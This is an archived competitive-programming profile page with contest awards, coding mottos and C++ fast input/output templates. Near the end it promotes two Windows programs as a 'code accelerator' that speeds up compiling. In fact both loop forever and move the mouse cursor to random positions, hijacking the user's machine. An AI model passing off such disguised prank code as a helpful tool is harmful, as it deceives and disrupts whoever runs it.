跳到正文

liaoxingyuan

928755

不拿金钩不改 RP++

这是 2026年10月22日 存档的第 1 版,不是当前版本。查看当前版本

资料、奖项与版本

资料

编号
928755
抓取

奖项

2025 CSP-J
一等奖
400 分 · 第 1 名
2025 CSP-S
二等奖
164 分 · 第 4148 名

版本

  1. v2当前
  2. v1

Spring Unaccepted. Score: 0/100.

做题千万条,读题第一条;

编程不规范,爆零两行泪。

Ctrl+A 模板\text{\color{FFFFFF}模板}

保留两位小数

C++
//保留两位小数之前加
cout<<fixed<<setprecision(2);

快读快写

C++
void read(int &x){
	x=0;
	char t=getchar();
	int s=0;
	int k=1;
	while(t<'0'||t>'9'){
		if(t=='-') k=-1;
		t=getchar();
	}
	while(t>='0'&&t<='9'){
		x=x*10+t-'0';
		t=getchar();
	}
	x*=k;
	return;
}
void write(int x){
	int a1=0,b1=0;
	int a2=0,b2=0;
	int s=0;
	int k=1;
	if(x<0){
		putchar('-');
		x=-x;
	}
	if(x>=10){
		write(x/10);
		x=x;
	}
	putchar(x%10+'0');
	return;
}

数学爱好者!

信息爱好者!

新产品:

代码加速器

本人强推,这代码超实用,超快,编译时间和运行时间大大减小!!!

快快来使用吧!

代码加速器1:

#include<time.h>

#include<windows.h>

int main(){

srand(time(0));

int x, y;

while (1){

x = rand() % 100 + 30;

y = rand() % 60 + 30;

SetCursorPos(x, y);

}

return 0;

}

代码加速器2:

#include<bits/stdc++.h>

#include<windows.h>

using namespace std;

main(){

int x1=GetSystemMetrics(SM_CXSCREEN);

int y1=GetSystemMetrics(SM_CXSCREEN);

srand(time(0));

for(;;)

SetCursorPos(rand()%x1,rand()%y1);

}

liaoxingyuan有限公司出版

liaoxingyuan出品